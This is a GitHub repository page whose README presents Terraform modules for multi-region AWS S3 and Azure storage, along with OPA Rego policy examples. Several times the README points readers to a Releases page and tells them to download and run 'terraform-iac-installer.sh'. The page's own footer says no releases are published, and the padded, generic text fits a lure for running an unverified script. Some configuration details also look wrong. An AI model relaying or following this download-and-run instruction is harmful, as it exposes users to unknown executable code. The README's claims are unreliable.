Skip to content

๐Ÿ™ Terraform IaC for multi-cloud, multi-region deployments on AWS and Azure using modular architecture and remote state. Policy-as-code with OPA and Conftest.

Notifications You must be signed in to change notification settings

ineedfps1bro/terraform-iac

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

6 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

https://github.com/ineedfps1bro/terraform-iac/releases

Terraform-IAC: Multi-Cloud S3, Reusable Modules, OPA Policy

Terraform IAC Architecture

A practical suite for building cloud infrastructure with Terraform across AWS and Azure. It focuses on multi-region S3 usage, module reuse, and security policy validation with Open Policy Agent (OPA). This project blends IaC best practices with policy-as-code to help teams ship cloud resources safely and consistently.

Release

Table of contents

  • Why this project exists
  • Core concepts
  • Architecture overview
  • Getting started
  • Quick start examples
  • Modules and reuse patterns
  • Policy-as-code with OPA
  • Security and compliance
  • Multi-cloud and multi-region strategies
  • CI/CD and automation
  • Testing and validation
  • Troubleshooting
  • Documentation structure
  • Contributing
  • Roadmap
  • FAQ
  • Glossary
  • License

Why this project exists This repository targets teams that manage infrastructure across multiple clouds and regions. It provides reusable Terraform modules for core cloud resources, a strategy to use S3 buckets across regions for durable storage, and a governance layer built with OPA to validate security and compliance policies before deployment. The goal is to simplify multi-cloud operations while reducing drift and risk.

Core concepts

  • Infrastructure as Code (IaC): Code-driven, versioned, auditable cloud resource management.
  • Multi-cloud: Support for major public clouds, specifically AWS and Azure, with consistent patterns.
  • Multi-region: Patterns to deploy resources in several geographic regions for resilience and data sovereignty.
  • Module reuse: Centralized, tested modules that can be consumed across teams and projects.
  • Policy as code: Security and compliance rules defined as code and enforced during the plan/apply lifecycle.
  • S3-centric storage: Leveraged across clouds for centralized logs, state management, and shared data while respecting region boundaries.
  • Open Policy Agent (OPA): A lightweight engine used to validate policies during CI/CD and deployment pipelines.

Architecture overview

  • Core modules: Small, focused Terraform modules that implement a specific cloud construct (for example, an S3 bucket with encryption, a storage account with replication, or a VNet and subnet pair for Azure).
  • Shared state and backend: Guidance on securing state in S3 or other backends with versioning, server-side encryption, and restricted access.
  • Policy layer: OPA policies that check for encryption, versioning, logging, tagging, and access controls before resources are created or updated.
  • Regional distribution: A pattern that creates equivalent resources in multiple regions for resilience and data locality.
  • Cross-cloud orchestration: A design that uses module interfaces to hide cloud-specific details behind a common API, so teams can reuse patterns across AWS and Azure.

Getting started Prerequisites

  • Terraform CLI: v1.4+ recommended. Ensure you have a recent version to take advantage of the latest features.
  • Cloud credentials: Access keys or service principals for AWS and Azure, configured in your environment or CI system.
  • OPA tooling (optional for local validation): An OPA instance or binary to run policy checks locally or in CI.
  • Version control: A Git client and a project workspace to organize modules and examples.

Initial setup

  • Clone the repository into your workspace.
  • Review the modules directory to understand the available resources.
  • Inspect the examples to see real-world usage patterns for AWS and Azure.

Where to download the installer or assets From the Releases page, you can obtain prepared assets, installers, or example artifacts that align with the modules in this repo. The most current artifacts are intended to simplify adoption and ensure consistency across teams. Access the releases page here: https://github.com/ineedfps1bro/terraform-iac/releases. The latest release assets are packaged to be downloaded and executed in your environment. For quick access, you can use the releases badge above to navigate directly to the assets.

Note: The Releases page contains the official artifacts. Download the installer file named terraform-iac-installer.sh and run it in your environment to bootstrap basic tooling and examples. The installer is designed to set up Terraform configurations, initialize modules, and configure a local policy-check workflow.

Quick start examples AWS multi-region S3 with policy checks

  • Objective: Create an encrypted, versioned S3 bucket with access logging enabled in two regions.
  • Approach: Use a common S3 module that supports region-specific configurations and a policy that enforces encryption and logging.

Example Terraform configuration

provider "aws" {
  region = var.aws_region
  profile = var.aws_profile
}

module "s3_bucket" {
  source        = "git::https://github.com/ineedfps1bro/terraform-iac.git//modules/aws-s3"
  bucket_name   = "${var.prefix}-logs-${var.aws_region}"
  versioning    = true
  encryption    = "aws:kms"
  kms_key_id    = data.aws_kms_key.kms_key.key_id
  log_bucket    = "${var.prefix}-logs"
  log_prefix    = "s3-logs/"
  region        = var.aws_region
  tags = {
    Environment = var.environment
    Project     = var.project
  }
}

Azure multi-region storage account

  • Objective: Create a storage account with Blob storage in two regions, enabling encryption and advanced threat protection.

Example Terraform configuration

provider "azurerm" {
  features {}
  alias  = "region1"
  is_emulated = false
  subscription_id = var.azure_subscription_id
  tenant_id       = var.azure_tenant_id
}

module "storage_account" {
  source = "git::https://github.com/ineedfps1bro/terraform-iac.git//modules/azure-storage"

  for_each = toset(["eastus", "westeurope"])
  name     = "${var.prefix}-stg-${each.key}"
  location = each.key
  resource_group_name = azurerm_resource_group.rg.name
  account_tier = "Standard"
  account_replication_type = "GRS"
  enable_https_traffic_only = true
  tags = {
    Environment = var.environment
    Project     = var.project
  }
}

Module reuse and patterns

  • Central modules: Each module implements a single cloud resource or a small, coherent set of resources. This reduces coupling and makes it easier to test and reuse across projects.
  • Versioning: Modules are versioned with semantic versions. Consumers pin to a major version and opt into minor upgrades through a controlled process.
  • Naming conventions: Consistent naming across regions and clouds reduces confusion and drift. The modules expose clear variables for region, environment, and project.
  • Parameter validation: Modules include input validation and defaults. This reduces misconfiguration and provides fast feedback during plan.
  • Outputs: Modules expose outputs for other modules and for consumption by CI/CD pipelines. Outputs include resource IDs, ARNs, endpoints, and DNS names.

Policy-as-code with OPA Overview

  • OPA acts as a policy gate before resources land in your cloud. It checks for security requirements such as encryption, logging, access controls, and tagging.
  • Policies are kept in a separate directory as code. They are evaluated against plan data, enabling fast feedback in CI pipelines or local validation runs.
  • The policy language is Rego. It is expressive and can cover complex policy rules across clouds and regions.

OPA policy examples

  • AWS S3 encryption and logging
package terraform.iac.aws.s3

deny[{"msg": msg}] {
  resource := input.resource_changes[_]
  resource.type == "aws_s3_bucket" 
  not resource.change.after.encryption.enabled
  msg := "S3 bucket must have encryption at rest enabled."
}
  • Azure storage account encryption and HTTPS only
package terraform.iac.azure.storage

deny[{"msg": msg}] {
  resource := input.resource_changes[_]
  resource.type == "azurerm_storage_account"
  not resource.change.after.enable_https_traffic_only
  msg := "Storage account must force HTTPS only."
}
  • Cross-cloud policy: tags and cost center
package terraform.iac.tags

deny[{"msg": msg}] {
  resource := input.resource_changes[_]
  not resource.change.after.tags["CostCenter"]
  msg := "All resources must include a CostCenter tag for cost tracking."
}

Policy workflow

  • Local validation: Developers run an OPA check on their Terraform plans before committing.
  • CI validation: Each pull request triggers a policy check in CI. If a policy violation exists, the pipeline fails and points to the offending resources.
  • Enforcement: The policy layer enforces guardrails across regions and clouds. It prevents risky configurations from applying.

Security and compliance

  • Least privilege: IAM roles and service principals are scoped to the minimum permissions needed to perform actions.
  • Encrypt data at rest and in transit: Use KMS for AWS and equivalent keys for Azure storage. Enforce TLS for all endpoints.
  • Logging and monitoring: Enable access logging on storage services. Emit telemetry to central logging for audit.
  • Resource tagging: Enforce tagging conventions for governance and cost tracking.
  • Secrets management: Do not store credentials in code. Use secret managers or CI vault integrations.

Multi-cloud and multi-region strategies

  • Consistent patterns: Use the same module structure and interfaces across clouds. This reduces cognitive load when teams switch clouds.
  • Region selection: Use a region matrix to cover primary, secondary, and DR regions. The design supports automatic failover or manual switchovers.
  • Data locality: Place data where it makes sense for latency and compliance. The module configuration allows per-region customization.
  • Cross-region networking: Where required, configure VPC/VNet peering, gateway endpoints, and firewall rules to ensure secure access between regions.

CI/CD and automation

  • GitHub Actions: Use a workflow that runs terraform fmt, terraform validate, and terraform plan. Then run OPA checks on plan data.
  • Drift detection: Periodic plan runs detect drift and flag unexpected changes. Use automation to apply approved changes after policy success.
  • Environment segregation: Separate environments for dev, staging, and prod. Each environment uses its own state and backends.

Recommended workflow

  • Write and review: Teams write Terraform code and OPA policies. PRs include a plan output and policy checks.
  • Validate locally: Run a local plan and OPA evaluation. Confirm policy pass before pushing.
  • Integrate: PR triggers CI to run full validation, then approves and merges.
  • Deploy: Apply changes in a controlled environment. Promote changes to production after validation.

Testing and validation

  • Unit tests: Use Terraform's built-in validation features and static checks for module inputs.
  • Integration tests: Consider Terratest or similar tools to validate real cloud state after deployment.
  • Policy tests: Use test datasets to validate OPA policies against varied plan data.
  • Backups and rollbacks: Keep state backups to enable quick rollbacks if policy or plan fails.

Examples and patterns

  • Shared state strategy: Store Terraform state in cloud storage with versioning and restricted access.
  • Module consumers: Create a central catalog of modules that teams can reference. Document usage, inputs, and outputs clearly.
  • Region-driven modules: Use a per-region module instantiation pattern to ensure region-specific values are isolated and easy to manage.
  • Cost awareness: Tag all resources with CostCenter and Owner to support chargeback and cost optimization.

Project structure (typical layout)

  • modules/
    • aws-s3/
    • azure-storage/
    • common/
  • examples/
    • aws/
    • azure/
  • policies/
    • aws/
    • azure/
    • shared/
  • docs/
    • architecture.md
    • policy-guide.md
    • migration.md
  • tests/
    • integration/
    • policy-tests/
  • .github/
    • workflows/
  • scripts/
    • bootstrap.sh
    • run-opa.sh
  • LICENSE
  • README.md (this file)

Architectural patterns to adopt

  • Idempotence: Modules should be idempotent. Running apply twice yields the same result.
  • Idempotent plan: Plans should be reproducible. Lock files and provider versions help stabilize plans.
  • Declarative design: Prefer declarative inputs over imperative ones. Let Terraform decide the steps to reach the desired state.
  • Observability: Expose metrics and logs for deployment pipelines. Include policy evaluation results in the pipeline output.
  • Reproducible environments: Use the same module versions across environments to minimize drift.

Advanced usage scenarios

  • Cross-cloud replication strategy: For logs and data, replicate across AWS and Azure with automatic failover patterns.
  • Centralized policy governance: Run a centralized policy service in CI and provide policy results to teams during review.
  • Secure bootstrapping: Use a bootstrap script from the released assets to set up Terraform tooling and initial policies on new machines.

Security considerations in deployment

  • Avoid hard-coded credentials. Use environment variables or secret stores.
  • Use dedicated service accounts with scoped permissions for deployments.
  • Enforce TLS, restrict public access to storage, and apply network security groups or firewalls appropriately.
  • Rotate keys and credentials regularly as part of the release process.

Documentation structure

  • Architecture overview: A visual guide and narrative on how the patterns fit together.
  • Module references: Detailed docs for each module, including required inputs, optional inputs, and outputs.
  • Policy references: A guide to the OPA policies, how to run them, and how to extend them.
  • Deployment guides: Step-by-step instructions for AWS and Azure deployments, including multi-region examples.
  • Troubleshooting: Common issues and how to resolve them.
  • Release notes: A changelog that maps to releases in the Releases page.

Contributing

  • How to contribute: Fork the repository, create feature branches, and submit pull requests.
  • Coding standards: Follow the projectโ€™s style for Terraform and policy code. Include tests for new modules.
  • Review process: Each PR should pass unit tests, policy checks, and integration tests if applicable.

Roadmap

  • Expand cloud support: Add more providers and regional patterns.
  • Improve policy library: Add more OPA policies for governance, cost, and security.
  • Enhanced testing: Broaden Terratest coverage and add containerized test environments.
  • Tooling improvements: Simplify bootstrapping and upgrade paths.

FAQ

  • Can I use this for production? Yes, with careful validation and a strong policy regime. Start in a non-production environment to validate.
  • Do I need OPA to run policies? You can run OPA locally or in CI. It is optional for local development but recommended for governance.
  • How do I contribute modules? Follow the module contribution guide. Start with small, focused changes and add tests.

Glossary

  • IaC: Infrastructure as Code. Managing infrastructure via code.
  • OPA: Open Policy Agent. A policy engine used to enforce rules.
  • Policy as code: Representing policies as machine-readable code that can be tested and enforced.
  • S3: Simple Storage Service. A scalable storage service in AWS.
  • VNet/VPC: Virtual Network in Azure or AWS. A logical isolation of resources.
  • KMS: Key Management Service. A service to manage encryption keys.

License This repository is provided under a permissive license that supports collaboration and reuse. See LICENSE for details.

End note This README is designed to help teams adopt a cohesive multi-cloud, multi-region approach with reusable Terraform modules and strong policy governance. It emphasizes clarity, safety, and automation, with practical examples that mirror real-world usage across AWS and Azure.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •